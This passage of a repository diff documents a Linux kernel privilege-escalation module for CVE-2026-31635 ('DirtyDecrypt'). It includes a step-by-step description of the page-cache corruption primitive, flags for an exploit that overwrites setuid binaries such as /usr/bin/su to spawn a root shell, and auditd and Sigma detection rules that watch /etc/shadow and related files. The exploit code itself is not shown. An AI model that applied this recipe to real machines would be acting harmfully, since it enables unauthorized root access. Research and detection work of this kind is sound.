`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||
When the skb fragment pages are page-cache pages — spliced in via
|
||||
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||
page cache of a read-only file.
|
||||
|
||||
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||
|
||||
## Primitive
|
||||
|
||||
Each `fire()`:
|
||||
|
||||
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||
completes the rxgk handshake.
|
||||
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||
whose **payload pages come from the target file's page cache**
|
||||
(`splice` + `vmsplice`).
|
||||
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||
check then fails (expected), but the page cache is already mutated.
|
||||
|
||||
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||
fixed. Net cost ≈ 256 fires per byte.
|
||||
|
||||
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||
`setuid(0)` + `execve("/bin/sh")`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||
- A readable setuid-root binary to use as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned** against the mainline fix commit
|
||||
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||
tracker confirms older stable branches as <not-affected, vulnerable
|
||||
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||
the version check misses.
|
||||
|
||||
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||
for CVE-2026-31635 is the source of truth for branch-backport
|
||||
thresholds; extend the `kernel_range` table when distros publish
|
||||
stable backports.
|
||||
@@ -0,0 +1,47 @@
|
||||
# NOTICE — dirtydecrypt
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||
|
||||
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||
primitives that abuse a missing COW boundary.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||
V12 security team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||
|
||||
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||
`LICENSE` header of its own — its header is a purely technical
|
||||
description of the bug. The credit above is from the public
|
||||
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||
flaw; its fix commit is not pinned in this module (see below).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||
`skeletonkey_module` interface. The exploit primitive — the
|
||||
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||
sentinel probe, `--no-shell` support, and the embedded detection
|
||||
rules. Research credit belongs to the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||
`detect()` does not perform a kernel-version patched/vulnerable
|
||||
verdict — see `MODULE.md`.
|
||||
@@ -0,0 +1,28 @@
|
||||
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||
#
|
||||
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||
# file. These rules flag the syscall surface the exploit drives and
|
||||
# writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||
|
||||
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||
|
||||
# rxrpc security keys added to the process keyring
|
||||
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||
|
||||
# splice() drives page-cache pages into the forged DATA packet
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the rxgk page-cache write
|
||||
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||
a credential file.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/usr/bin/mount'
|
||||
- '/usr/bin/passwd'
|
||||
- '/usr/bin/chsh'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.31635
|
||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user